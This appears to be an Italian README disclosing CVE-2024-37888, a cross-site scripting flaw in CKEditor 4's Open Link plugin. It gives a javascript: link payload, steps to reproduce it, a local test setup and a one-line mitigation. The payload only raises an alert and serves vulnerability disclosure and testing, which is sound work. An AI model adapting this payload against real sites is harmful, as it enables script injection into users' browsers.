
XSS PoC/Exploit per il plugin Open Link per CKEditor 4
Questo repository documenta i dettagli della vulnerabilità e l'exploit per CVE-2024-37888, scoperta e segnalata da Anurag Mondal (7Ragnarok7) il 21 maggio 2024.
Questa Proof of Concept (POC) dimostra lo sfruttamento di una vulnerabilità XSS da me scoperta di recente nel plugin Open Link che, quando abilitato, influisce direttamente su tutte le versioni di CKEditor 4. Il difetto consente l'esecuzione di JavaScript tramite link appositamente costruiti all'interno dell'editor, che il plugin non riesce a sanificare. Questo difetto può essere sfruttato all'interno dell'area di testo solo quando il plugin Open Link è installato. Il plugin Open Link ci permette di aprire i link direttamente all'interno dell'area di modifica.
Questa vulnerabilità può essere testata dall'istanza CKEditor preconfigurata presente qui.
Inserire il payload:
Aprire l'istanza CKEditor e fare clic sull'icona "Source".
Inserire il seguente payload nell'area di testo:
<a href="javascript:alert('XSS Found')">XSS</a>

Passare alla modalità WYSIWYG:

Attivare l'XSS:

È possibile configurare una propria istanza locale per testare questa vulnerabilità seguendo i passaggi riportati di seguito.
Scaricare CKEditor 4:

Installare il plugin Open Link:
ckeditor/plugins/openlink.
Aggiornare la configurazione per includere il plugin OpenLink:
config.js di CKEditor aggiungendo le seguenti righe alla fine:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Includere CKEditor nell'HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Questa vulnerabilità è stata scoperta nella code base del plugin Open Link e non nella codebase di CKEditor 4. Il POC sopra riportato dimostra lo sfruttamento di una vulnerabilità XSS tramite il plugin Open Link in CKEditor 4.*.*. La falla consente l'esecuzione arbitraria di JavaScript tramite link appositamente predisposti, rappresentando un rischio significativo per la sicurezza.
config.disallowedContent = 'a[onclick]';